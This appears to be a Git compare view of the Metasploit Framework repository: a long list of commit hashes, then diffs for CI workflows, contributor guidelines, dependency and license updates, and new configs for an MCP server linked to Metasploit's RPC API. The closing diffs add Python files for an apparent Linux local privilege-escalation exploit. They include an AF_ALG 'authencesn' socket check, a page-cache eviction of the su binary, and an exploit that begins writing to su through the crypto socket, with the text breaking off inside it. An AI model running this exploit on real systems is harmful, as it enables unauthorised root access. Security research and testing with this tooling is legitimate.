Compare commits
385 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 1ef3717849 | |||
| 5814c14781 | |||
| 0037e42756 | |||
| 33754fd7e8 | |||
| 79b0fd6edc | |||
| 8e432f69ca | |||
| d33c2f6600 | |||
| 50e5a85521 | |||
| bea8eca0c6 | |||
| d1f9a0fd3b | |||
| 550a8cbdc3 | |||
| 89b10aa3fe | |||
| 4da2554a2a | |||
| fa69f45366 | |||
| 5e39ced730 | |||
| a394578488 | |||
| 963eaef422 | |||
| 2b42d779a1 | |||
| 817d3642c3 | |||
| 9435bee69f | |||
| dc1976058c | |||
| 97fba49fee | |||
| 81a7646f0a | |||
| a69e2ea707 | |||
| 2be37dda84 | |||
| 98e588e066 | |||
| e30b6e81ad | |||
| 38e6629582 | |||
| 26a7c5f417 | |||
| b7e1d7ea77 | |||
| e3abb82e88 | |||
| 696f530475 | |||
| 6e659caf23 | |||
| 48f178a93f | |||
| ac20cf43e7 | |||
| 00c9e33a68 | |||
| 825e16bdc5 | |||
| d647f5f768 | |||
| 1b1edf938a | |||
| 0f530ec016 | |||
| 51b4107dc7 | |||
| 0f696e572c | |||
| f6484ad724 | |||
| a0a774e724 | |||
| efd59106a0 | |||
| 3e320a9db3 | |||
| 726d372257 | |||
| 2c40a74483 | |||
| b40623a0e1 | |||
| 7888e29f2c | |||
| 95492d9680 | |||
| 815afec083 | |||
| 7d824835bc | |||
| 1ce7473b84 | |||
| 98f3bb1d84 | |||
| 1a9e378dcf | |||
| addbc1b646 | |||
| fd6df3fb81 | |||
| 9019e4c837 | |||
| c15d513766 | |||
| bc5347f464 | |||
| edb6844c8f | |||
| 909c8df2cf | |||
| bbb2452063 | |||
| 0c81638fff | |||
| 557ff0d068 | |||
| 5a2e7bb301 | |||
| e8bb3cd5fb | |||
| dc97d1e97e | |||
| 66995d3987 | |||
| cdcdb5fe88 | |||
| bc0f7602c2 | |||
| 0e02f10078 | |||
| c0e5ceb531 | |||
| a0c5b9a6bc | |||
| e14ce079bb | |||
| 22a9dc4522 | |||
| 55f9216698 | |||
| e2e210d038 | |||
| a2b57ae998 | |||
| 12e08fb451 | |||
| 3bee31ff5e | |||
| d0a205f776 | |||
| 9f6349de7d | |||
| 5942122b9a | |||
| 49ea1a3391 | |||
| b3fbeced43 | |||
| 7b3aef8ede | |||
| 6f3884e832 | |||
| b59ced5057 | |||
| 0bf595c2ec | |||
| 15a0f6eefd | |||
| 2634142f0d | |||
| 2153daad7b | |||
| 4847d88441 | |||
| 788aa2abc5 | |||
| 2cfdfcba60 | |||
| bcae34ee4f | |||
| 6df54a639e | |||
| 41a937c70c | |||
| 63f4f358c7 | |||
| 1e3727ba87 | |||
| e909b9218b | |||
| d121ff6a62 | |||
| e00515c172 | |||
| 3ecbadd032 | |||
| 7c4f15a024 | |||
| 7479078bf1 | |||
| b09686efaf | |||
| b765db798e | |||
| aa14df9b6c | |||
| 1d1c284619 | |||
| a153814b0f | |||
| 17f7f4d718 | |||
| 74468290c9 | |||
| 540139cd4a | |||
| 370c35c1e2 | |||
| cb1cfbbe98 | |||
| 2289fc07ce | |||
| 107edff1cb | |||
| 4521c9f3d3 | |||
| 76cae04e91 | |||
| 4f77df25ba | |||
| 792a4254ac | |||
| eb5b5a1277 | |||
| 950fb9def6 | |||
| 2e58eb1207 | |||
| a173ea15fa | |||
| 3c1b245751 | |||
| ca27731285 | |||
| 2d93669f56 | |||
| 1142d4e15d | |||
| 96a37da14a | |||
| f00bbe6451 | |||
| f1778187b8 | |||
| 9ad8b7ac32 | |||
| 8a5d7be47a | |||
| 591dbdd821 | |||
| c38f6b4858 | |||
| 3e61396ec2 | |||
| e5bdc50a4f | |||
| 44d60c0865 | |||
| 2ae936473e | |||
| 45bc95a876 | |||
| aaf536d189 | |||
| 8587d1c211 | |||
| 05befe18b1 | |||
| 7851cda71d | |||
| 380911db97 | |||
| de636c1457 | |||
| f3b07d5a49 | |||
| 2cbb3942b6 | |||
| b7f136077e | |||
| 0474c0ce24 | |||
| 1d9c922488 | |||
| 25d7c25ad8 | |||
| 19d333df13 | |||
| 6e992aa6ed | |||
| 9efc727462 | |||
| 4c0f2c29bc | |||
| 9692b8865f | |||
| 6a00ea38c6 | |||
| 946d1a44b5 | |||
| cca7166eb4 | |||
| a918184416 | |||
| 81f1a7c86a | |||
| 97ab01cddd | |||
| b9573fa0ce | |||
| e40422845b | |||
| 20065b3f3d | |||
| 44a45ffdbf | |||
| 2dbfcfb918 | |||
| ae63cb9b1d | |||
| 6b57b4c66f | |||
| 820e737024 | |||
| bd2e11ad55 | |||
| 6acac8e120 | |||
| a53d0a027b | |||
| 46553b5984 | |||
| 5622bd254b | |||
| 2c58825343 | |||
| f060acd1e9 | |||
| 09bb98d13e | |||
| 76a7f61465 | |||
| e09a38085c | |||
| fe1aeb9279 | |||
| 9b985dc1ef | |||
| a8ccdfc1e4 | |||
| b1c4fd3f39 | |||
| f54374eaff | |||
| 4607741a16 | |||
| 94b4f577e0 | |||
| 046ba861b3 | |||
| 08f6dc20a5 | |||
| a47234778c | |||
| 92af54c885 | |||
| 19112a0212 | |||
| 679d2a9a4e | |||
| 785307f55e | |||
| 82c8028f1c | |||
| 9d81fe0f2e | |||
| b3ef4db890 | |||
| 2af3bbf34e | |||
| 3cfbb90b0f | |||
| 4c5ed36c88 | |||
| 04ffe3ce3b | |||
| 6821066217 | |||
| 37ff9f8530 | |||
| e7c5e0e4a3 | |||
| 0644f27cb6 | |||
| 2b37cbe35e | |||
| c887384546 | |||
| 4973d666ff | |||
| 953d0343dd | |||
| a50041b697 | |||
| b917de89c3 | |||
| 03e8567559 | |||
| 5b58f289e5 | |||
| 31ef5e03b5 | |||
| 340a72438b | |||
| 2be47dbe9c | |||
| b8f8366ff1 | |||
| 1f8bb3b52a | |||
| 3233e3c011 | |||
| 8a63392284 | |||
| a54f29f02b | |||
| ab0fdf96f8 | |||
| 3106aef203 | |||
| 214256ffe8 | |||
| d530230b5f | |||
| f52184a566 | |||
| 1bbfb699e1 | |||
| eddd3fecff | |||
| 796ffb6331 | |||
| c17c301e36 | |||
| aad2c79603 | |||
| cb45c37eea | |||
| 91633fdad7 | |||
| ad1dac2a5b | |||
| c81a2ee9e3 | |||
| 0ba59a1254 | |||
| 7f413ef68f | |||
| c3cc091a2f | |||
| d2f350f627 | |||
| 862b1e1aaa | |||
| e8e5362aa9 | |||
| e2dff5cc50 | |||
| 1d5eae0f5b | |||
| b13b669aaa | |||
| addcd69205 | |||
| 31a2de9562 | |||
| b3d367f1bf | |||
| 53f8053b77 | |||
| 5d5896d3a1 | |||
| 43ffa96f34 | |||
| fcdb16e69a | |||
| b4084eaaa6 | |||
| 4383ad6673 | |||
| 9f480e55d5 | |||
| 8dab0bbba0 | |||
| 9f1dc3d9f9 | |||
| 7ea55d86d9 | |||
| 976f5a8e66 | |||
| ee5ba948d7 | |||
| 4c421532d6 | |||
| dbcb702e1d | |||
| 5b6c2be9d1 | |||
| b6dd5bbcfc | |||
| 1b195b1406 | |||
| 9433413166 | |||
| a94dd32492 | |||
| 05914feb4d | |||
| 0ba93b6ae3 | |||
| 14cd7fad47 | |||
| 4474c77ca3 | |||
| 9e506cc5a0 | |||
| 9189436a42 | |||
| 3c341e3b72 | |||
| c03a9a5ce2 | |||
| f255fe398d | |||
| 17a5daabf1 | |||
| e2810a791b | |||
| 18c11b17a9 | |||
| d8687d43dd | |||
| 7dcb339a16 | |||
| 61cb83943a | |||
| 9f4a68895a | |||
| 62e2c336d0 | |||
| 6b174c1022 | |||
| 0d54137862 | |||
| 65271019f3 | |||
| 70f470c537 | |||
| 7f0b8c83a1 | |||
| db0fe4aaef | |||
| 71f37467d7 | |||
| 3fea1d279d | |||
| 8bb476a7f5 | |||
| d2ea521ba3 | |||
| 10fd6b9ef8 | |||
| 57f5fa3559 | |||
| 89d0115185 | |||
| e0c3ecfd74 | |||
| edbd3d5cd1 | |||
| d84b09a16e | |||
| e69ed8d18b | |||
| 9eae158fa4 | |||
| 9dbea3d5e2 | |||
| f7b0076679 | |||
| e28969980d | |||
| 4281e713a0 | |||
| a4d84fa734 | |||
| dc82a22939 | |||
| 8684cec986 | |||
| d441c07408 | |||
| 8957e4470c | |||
| 7f041fd4c9 | |||
| a79fbd7889 | |||
| 55f0124e34 | |||
| c6346bcd05 | |||
| e0c28496b9 | |||
| 929b79a346 | |||
| 91c96c7e46 | |||
| c0e073b5f8 | |||
| e0f99e0c5c | |||
| 6e4be026a2 | |||
| 46fbe0bfb8 | |||
| c3c6a21e55 | |||
| 2f15039985 | |||
| 2f8d66bc6c | |||
| 63dd2ab31a | |||
| 4dcf67865a | |||
| a6d7502c8d | |||
| 4a8adacf29 | |||
| 4f38ec3393 | |||
| 0f4db29f2b | |||
| 328c2e5845 | |||
| 918281a5dc | |||
| 6603450572 | |||
| 2979dafdf4 | |||
| 437b8a7cf6 | |||
| b3e456d661 | |||
| c4709e7692 | |||
| 5dd4f4e9ce | |||
| f7d7619051 | |||
| 6ba950c526 | |||
| 235da57b97 | |||
| 3ac30e09cc | |||
| 38d8ea7937 | |||
| e025f94f78 | |||
| 3a1d34e300 | |||
| 18e4c8e28d | |||
| 8938ee75e5 | |||
| cc3f76d586 | |||
| bf28b0d3e7 | |||
| d6914f0812 | |||
| 6cc3e391f7 | |||
| 31b58e7deb | |||
| 5b9dc0f5ed | |||
| aa2725150c | |||
| ee2ee34b9e | |||
| f34a0b5d31 | |||
| 3f25048d9b | |||
| 4ebef4b3e2 | |||
| 25f6f6b7ae | |||
| d65cc5694f | |||
| 4ca2b22dff | |||
| 6026e9f971 | |||
| 9d7556e3a8 | |||
| 4a0957e68b | |||
| c137331090 | |||
| 720004a33e | |||
| 040cabd249 | |||
| 8dbc764730 | |||
| 2d58156aaa | |||
| 4aeacb7456 | |||
| 2d8c3d69ed | |||
| 638b47ebf3 | |||
| 3dd3661352 | |||
| 9e72f45349 | |||
| 2689c6c03b | |||
| 822227ddf2 | |||
| 08ce855fa9 | |||
| 7017273a84 | |||
| 47c47df0bb | |||
| e778f40055 |
@@ -12,9 +12,37 @@ on:
|
||||
required: false
|
||||
default: "[]"
|
||||
type: string
|
||||
additional_rails_versions:
|
||||
description: 'Additional Rails version requirements as a JSON array (for example: ["~> 8.1.0"])'
|
||||
required: false
|
||||
default: "[]"
|
||||
type: string
|
||||
# Caller example:
|
||||
# with:
|
||||
# additional_rails_versions: '["~> 8.1.0", "~> 8.2.0"]'
|
||||
|
||||
jobs:
|
||||
prepare_matrix:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
rails_versions: ${{ steps.merge_rails_versions.outputs.rails_versions }}
|
||||
steps:
|
||||
- name: Build Rails version matrix
|
||||
id: merge_rails_versions
|
||||
run: |
|
||||
default_rails_versions='["~> 7.0.0","~> 7.1.0","~> 7.2.0"]'
|
||||
additional_rails_versions='${{ inputs.additional_rails_versions }}'
|
||||
|
||||
rails_versions=$(jq -cn \
|
||||
--argjson defaults "$default_rails_versions" \
|
||||
--argjson extras "$additional_rails_versions" \
|
||||
'$defaults + $extras | unique')
|
||||
|
||||
echo "rails_versions=$rails_versions" >> "$GITHUB_OUTPUT"
|
||||
shell: bash
|
||||
|
||||
test:
|
||||
needs: prepare_matrix
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
@@ -25,18 +53,16 @@ jobs:
|
||||
- '3.2'
|
||||
- '3.3'
|
||||
- '3.4'
|
||||
rails:
|
||||
- '~> 7.0.0'
|
||||
- '~> 7.1.0'
|
||||
- '~> 7.2.0'
|
||||
rails: ${{ fromJSON(needs.prepare_matrix.outputs.rails_versions) }}
|
||||
postgres:
|
||||
- '9.6'
|
||||
- '14.19'
|
||||
- '16.8'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
RAILS_VERSION: ${{ matrix.rails }}
|
||||
|
||||
name: ${{ matrix.os }} - Ruby ${{ matrix.ruby }} - Rails ${{ matrix.rails }} - PostgreSQL ${{ matrix.postgres }}
|
||||
steps:
|
||||
|
||||
@@ -284,21 +284,21 @@ jobs:
|
||||
run: |
|
||||
Set-Location "C:\Program Files (x86)\Microsoft Visual Studio\Installer\"
|
||||
dir
|
||||
$InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
|
||||
$WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
|
||||
$Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
|
||||
$process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
|
||||
if ($process.ExitCode -eq 0) {
|
||||
Write-Host "components have been successfully added"
|
||||
} else {
|
||||
Write-Host "components were not installed"
|
||||
exit 1
|
||||
}
|
||||
Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
|
||||
$r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
|
||||
Write-Host $r
|
||||
$r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
|
||||
Write-Host $r
|
||||
# $InstallPath = "C:\Program Files\Microsoft Visual Studio\2022\Enterprise"
|
||||
# $WorkLoads = '--config "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter\vs-configs\vs2022.vsconfig"'
|
||||
# $Arguments = ('/c', "vs_installer.exe", 'modify', '--installPath', "`"$InstallPath`"", $WorkLoads, '--quiet', '--norestart', '--nocache')
|
||||
# $process = Start-Process -FilePath cmd.exe -ArgumentList $Arguments -Wait -PassThru -WindowStyle Hidden
|
||||
# if ($process.ExitCode -eq 0) {
|
||||
# Write-Host "components have been successfully added"
|
||||
# } else {
|
||||
# Write-Host "components were not installed"
|
||||
# exit 1
|
||||
# }
|
||||
# Set-Location "D:\a\metasploit-payloads\metasploit-payloads\metasploit-payloads\c\meterpreter"
|
||||
# $r = Invoke-Command -ScriptBlock { cmd.exe /c 'git submodule init && git submodule update' }
|
||||
# Write-Host $r
|
||||
# $r = Invoke-Command -ScriptBlock { cmd.exe /c '"C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\VsDevCmd.bat" && make.bat' }
|
||||
# Write-Host $r
|
||||
working-directory: metasploit-payloads
|
||||
|
||||
- name: Build Windows payloads via Visual Studio 2025 Build (Windows)
|
||||
|
||||
@@ -53,7 +53,7 @@ Metasploit Framework is an open-source penetration testing and exploitation fram
|
||||
- when opening a file, make sure the file exists first
|
||||
- when checking for a string in a response - will it always be in english?
|
||||
- Ensure hardcoded strings being regex'ed will be consistent across multiple versions
|
||||
- Use the TEST-NET-1 range for example / non-routeable IP address: `192.0.2.0`
|
||||
- Use the TEST-NET-1 range for example / non-routeable IP addresses in unit tests and spec files: `192.0.2.0`. Local/private IPs are fine in module documentation scenarios.
|
||||
- Use fetch payload instead of command stagers when only options that request the stage are available (i.e. don’t use a cmd stager and only allow curl/wget).
|
||||
- Define bad characters instead of explicitly base-64 encoding payloads
|
||||
- Use `ARCH_CMD` payloads instead of command stagers when only curl/wget and other download mechanisms would be available
|
||||
|
||||
@@ -53,5 +53,6 @@ group :test do
|
||||
gem 'allure-rspec'
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
# stub and set expectations on HTTP requests
|
||||
gem 'webmock', '~> 3.18'
|
||||
end
|
||||
|
||||
|
||||
+27
-12
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.4.127)
|
||||
metasploit-framework (6.4.133)
|
||||
aarch64
|
||||
abbrev
|
||||
actionpack (~> 7.2.0)
|
||||
@@ -42,6 +42,7 @@ PATH
|
||||
jsobfu
|
||||
json
|
||||
lru_redux
|
||||
mcp (= 0.13.0)
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential (>= 6.0.21)
|
||||
@@ -223,6 +224,9 @@ GEM
|
||||
concurrent-ruby (1.3.5)
|
||||
connection_pool (2.5.4)
|
||||
cookiejar (0.3.4)
|
||||
crack (1.0.1)
|
||||
bigdecimal
|
||||
rexml
|
||||
crass (1.0.6)
|
||||
csv (3.3.2)
|
||||
daemons (1.4.1)
|
||||
@@ -281,6 +285,7 @@ GEM
|
||||
gyoku (1.4.0)
|
||||
builder (>= 2.1.2)
|
||||
rexml (~> 3.0)
|
||||
hashdiff (1.2.1)
|
||||
hashery (2.1.2)
|
||||
hrr_rb_ssh (0.4.2)
|
||||
hrr_rb_ssh-ed25519 (0.4.2)
|
||||
@@ -304,6 +309,9 @@ GEM
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.15.1)
|
||||
json-schema (6.2.0)
|
||||
addressable (~> 2.8)
|
||||
bigdecimal (>= 3.1, < 5)
|
||||
language_server-protocol (3.17.0.5)
|
||||
license_finder (5.11.1)
|
||||
bundler
|
||||
@@ -322,6 +330,8 @@ GEM
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
lru_redux (1.1.0)
|
||||
mcp (0.13.0)
|
||||
json-schema (>= 4.1)
|
||||
memory_profiler (1.1.0)
|
||||
metasm (1.0.5)
|
||||
metasploit-concern (5.0.5)
|
||||
@@ -331,7 +341,7 @@ GEM
|
||||
mutex_m
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.21)
|
||||
metasploit-credential (6.0.23)
|
||||
bigdecimal
|
||||
csv
|
||||
drb
|
||||
@@ -353,17 +363,17 @@ GEM
|
||||
mutex_m
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.245)
|
||||
metasploit_data_models (6.0.15)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
metasploit_data_models (6.0.18)
|
||||
activerecord (>= 7.0, < 8.1)
|
||||
activesupport (>= 7.0, < 8.1)
|
||||
arel-helpers
|
||||
bigdecimal
|
||||
drb
|
||||
metasploit-concern
|
||||
metasploit-model (~> 5.0.4)
|
||||
metasploit-model (>= 5.0.4)
|
||||
mutex_m
|
||||
pg
|
||||
railties (~> 7.0)
|
||||
railties (>= 7.0, < 8.1)
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.46)
|
||||
@@ -489,16 +499,16 @@ GEM
|
||||
http-cookie (>= 1.0.2, < 2.0)
|
||||
mime-types (>= 1.16, < 4.0)
|
||||
netrc (~> 0.8)
|
||||
rex-arch (0.1.19)
|
||||
rex-arch (0.1.20)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.15)
|
||||
rex-bin_tools (0.1.16)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.36)
|
||||
rex-encoder (0.1.8)
|
||||
rex-encoder (0.1.10)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
@@ -531,7 +541,7 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.64)
|
||||
rex-socket (0.1.65)
|
||||
dnsruby
|
||||
rex-core
|
||||
rex-sslscan (0.1.13)
|
||||
@@ -539,7 +549,7 @@ GEM
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.5)
|
||||
rex-text (0.2.61)
|
||||
rex-text (0.2.63)
|
||||
bigdecimal
|
||||
rex-zip (0.1.6)
|
||||
rex-text
|
||||
@@ -649,6 +659,10 @@ GEM
|
||||
useragent (0.16.11)
|
||||
warden (1.2.9)
|
||||
rack (>= 2.0.9)
|
||||
webmock (3.26.2)
|
||||
addressable (>= 2.8.0)
|
||||
crack (>= 0.3.2)
|
||||
hashdiff (>= 0.4.0, < 2.0.0)
|
||||
webrick (1.9.1)
|
||||
websocket-driver (0.7.7)
|
||||
base64
|
||||
@@ -699,6 +713,7 @@ DEPENDENCIES
|
||||
simplecov (= 0.18.2)
|
||||
test-prof
|
||||
timecop
|
||||
webmock (~> 3.18)
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
|
||||
+13
-8
@@ -39,6 +39,7 @@ coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.3.5, MIT
|
||||
connection_pool, 2.5.4, MIT
|
||||
cookiejar, 0.3.4, "Simplified BSD"
|
||||
crack, 1.0.1, MIT
|
||||
crass, 1.0.6, MIT
|
||||
csv, 3.3.2, "ruby, Simplified BSD"
|
||||
daemons, 1.4.1, MIT
|
||||
@@ -71,6 +72,7 @@ forwardable, 1.3.3, "ruby, Simplified BSD"
|
||||
getoptlong, 0.2.1, "ruby, Simplified BSD"
|
||||
gssapi, 1.3.1, MIT
|
||||
gyoku, 1.4.0, MIT
|
||||
hashdiff, 1.2.1, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.4.2, "Apache 2.0"
|
||||
hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
|
||||
@@ -85,6 +87,7 @@ irb, 1.15.2, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.15.1, ruby
|
||||
json-schema, 6.2.0, MIT
|
||||
language_server-protocol, 3.17.0.5, MIT
|
||||
license_finder, 5.11.1, MIT
|
||||
lint_roller, 1.1.0, MIT
|
||||
@@ -93,14 +96,15 @@ logger, 1.7.0, "ruby, Simplified BSD"
|
||||
logging, 2.4.0, MIT
|
||||
loofah, 2.24.1, MIT
|
||||
lru_redux, 1.1.0, MIT
|
||||
mcp, 0.13.0, "Apache 2.0"
|
||||
memory_profiler, 1.1.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.5, "New BSD"
|
||||
metasploit-credential, 6.0.20, "New BSD"
|
||||
metasploit-framework, 6.4.127, "New BSD"
|
||||
metasploit-credential, 6.0.23, "New BSD"
|
||||
metasploit-framework, 6.4.133, "New BSD"
|
||||
metasploit-model, 5.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.245, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.15, "New BSD"
|
||||
metasploit_data_models, 6.0.18, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.46, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.1.0, MIT
|
||||
mime-types, 3.7.0, MIT
|
||||
@@ -166,10 +170,10 @@ regexp_parser, 2.11.3, MIT
|
||||
reline, 0.6.2, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rest-client, 2.1.0, MIT
|
||||
rex-arch, 0.1.19, "New BSD"
|
||||
rex-bin_tools, 0.1.15, "New BSD"
|
||||
rex-arch, 0.1.20, "New BSD"
|
||||
rex-bin_tools, 0.1.16, "New BSD"
|
||||
rex-core, 0.1.36, "New BSD"
|
||||
rex-encoder, 0.1.8, "New BSD"
|
||||
rex-encoder, 0.1.10, "New BSD"
|
||||
rex-exploitation, 0.1.44, "New BSD"
|
||||
rex-java, 0.1.8, "New BSD"
|
||||
rex-mime, 0.1.11, "New BSD"
|
||||
@@ -179,10 +183,10 @@ rex-powershell, 0.1.103, "New BSD"
|
||||
rex-random_identifier, 0.1.21, "New BSD"
|
||||
rex-registry, 0.1.6, "New BSD"
|
||||
rex-rop_builder, 0.1.6, "New BSD"
|
||||
rex-socket, 0.1.64, "New BSD"
|
||||
rex-socket, 0.1.65, "New BSD"
|
||||
rex-sslscan, 0.1.13, "New BSD"
|
||||
rex-struct2, 0.1.5, "New BSD"
|
||||
rex-text, 0.2.61, "New BSD"
|
||||
rex-text, 0.2.63, "New BSD"
|
||||
rex-zip, 0.1.6, "New BSD"
|
||||
rexml, 3.4.1, "Simplified BSD"
|
||||
rinda, 0.2.0, "ruby, Simplified BSD"
|
||||
@@ -233,6 +237,7 @@ unicode-emoji, 4.1.0, MIT
|
||||
unix-crypt, 1.3.1, 0BSD
|
||||
useragent, 0.16.11, MIT
|
||||
warden, 1.2.9, MIT
|
||||
webmock, 3.26.2, MIT
|
||||
webrick, 1.9.1, "ruby, Simplified BSD"
|
||||
websocket-driver, 0.7.7, "Apache 2.0"
|
||||
websocket-extensions, 0.1.5, "Apache 2.0"
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
# Metasploit RPC API connection (MessagePack)
|
||||
msf_api:
|
||||
type: messagepack
|
||||
host: localhost
|
||||
port: 55553
|
||||
ssl: true
|
||||
endpoint: /api/
|
||||
user: msfuser
|
||||
password: CHANGEME
|
||||
auto_start_rpc: true # Automatically start the RPC server if not running (default: true)
|
||||
|
||||
# MCP server configuration
|
||||
mcp:
|
||||
transport: stdio # stdio (default) or http
|
||||
# MCP server network configuration (for HTTP transport only)
|
||||
host: localhost # Host to bind to (default: localhost)
|
||||
port: 3000 # Port to listen on (default: 3000)
|
||||
|
||||
# Rate limiting (optional - defaults shown)
|
||||
rate_limit:
|
||||
enabled: true
|
||||
requests_per_minute: 60
|
||||
# If the `burst_size` is greater than `requests_per_minute`, a user will be allowed to exceed the rate limit temporarily.
|
||||
# For example, with `requests_per_minute=5` and `burst_size=10`, a user could make 10 requests in a short period,
|
||||
# but then would be limited to 5 requests per minute thereafter.
|
||||
burst_size: 10
|
||||
|
||||
# Logging (optional - defaults shown)
|
||||
logging:
|
||||
enabled: false
|
||||
level: INFO # DEBUG, INFO, WARN, ERROR
|
||||
log_file: ~/.msf4/logs/msfmcp.log
|
||||
sanitize: true
|
||||
@@ -0,0 +1,32 @@
|
||||
# Metasploit RPC API connection (JSON-RPC)
|
||||
msf_api:
|
||||
type: json-rpc
|
||||
host: localhost
|
||||
port: 8081
|
||||
ssl: true
|
||||
endpoint: /api/v1/json-rpc
|
||||
token: YOUR_BEARER_TOKEN_HERE
|
||||
# auto_start_rpc is not supported for JSON-RPC (only MessagePack)
|
||||
|
||||
# MCP server configuration
|
||||
mcp:
|
||||
transport: stdio # stdio (default) or http
|
||||
# MCP server network configuration (for HTTP transport only)
|
||||
host: localhost # Host to bind to (default: localhost)
|
||||
port: 3000 # Port to listen on (default: 3000)
|
||||
|
||||
# Rate limiting (optional - defaults shown)
|
||||
rate_limit:
|
||||
enabled: true
|
||||
requests_per_minute: 60
|
||||
# If the `burst_size` is greater than `requests_per_minute`, a user will be allowed to exceed the rate limit temporarily.
|
||||
# For example, with `requests_per_minute=5` and `burst_size=10`, a user could make 10 requests in a short period,
|
||||
# but then would be limited to 5 requests per minute thereafter.
|
||||
burst_size: 10
|
||||
|
||||
# Logging (optional - defaults shown)
|
||||
logging:
|
||||
enabled: false
|
||||
level: INFO # DEBUG, INFO, WARN, ERROR
|
||||
log_file: ~/.msf4/logs/msfmcp.log
|
||||
sanitize: true
|
||||
File diff suppressed because one or more lines are too long
+33
@@ -0,0 +1,33 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import socket
|
||||
import sys
|
||||
|
||||
AF_ALG = 38
|
||||
ALG_NAME = "authencesn(hmac(sha256),cbc(aes))"
|
||||
|
||||
def check():
|
||||
if not os.path.exists('/proc/crypto'):
|
||||
print('[-] /proc/crypto is missing.')
|
||||
return
|
||||
|
||||
try:
|
||||
s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
|
||||
except OSError as e:
|
||||
print('[-] AF_ALG socket family unavailable (' + e.strerror + ').')
|
||||
return
|
||||
|
||||
try:
|
||||
s.bind(("aead", ALG_NAME))
|
||||
except OSError as e:
|
||||
print('[-] ' + repr(ALG_NAME) + ' can not be instantiated (' + e.strerror + ').')
|
||||
return
|
||||
finally:
|
||||
s.close()
|
||||
|
||||
print('[+] The exploit socket has been created, encryption primitives are available.')
|
||||
return True
|
||||
|
||||
if __name__ == '__main__':
|
||||
if not check():
|
||||
sys.exit(1)
|
||||
@@ -0,0 +1,9 @@
|
||||
import os
|
||||
import shutil
|
||||
|
||||
su_path = shutil.which('su')
|
||||
su_fd = os.open(su_path, os.O_RDONLY)
|
||||
try:
|
||||
os.posix_fadvise(su_fd, 0, 0, os.POSIX_FADV_DONTNEED)
|
||||
finally:
|
||||
os.close(su_fd)
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import base64
|
||||
import shutil
|
||||
import socket
|
||||
import sys
|
||||
import zlib
|
||||
|
||||
AF_ALG = 38
|
||||
ALG_SET_KEY = 1
|
||||
ALG_SET_IV = 2
|
||||
ALG_SET_OP = 3
|
||||
ALG_SET_AEAD_ASSOCLEN = 4
|
||||
ALG_SET_AEAD_AUTHSIZE = 5
|
||||
SOL_ALG = 279
|
||||
|
||||
def setup_sock():
|
||||
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
|
||||
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
||||
sock.setsockopt(SOL_ALG, ALG_SET_KEY, bytes.fromhex("0800010000000010" + "0" * 64))
|
||||
sock.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
|
||||
op_sock, _ = sock.accept()
|
||||
return op_sock
|
||||
|
||||
def write(op_sock, su_fd, offset, chunk):
|
||||
op_sock.sendmsg(
|
||||
[b"A" * 4 + chunk],
|
||||
[
|
||||
(SOL_ALG, ALG_SET_OP, b'\x00\x00\x00\x00'),
|
||||
(SOL_ALG, ALG_SET_IV, b'\x10' + b'\x00' * 19),
|
||||
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, b'\x08\x00\x00\x00')
|
||||
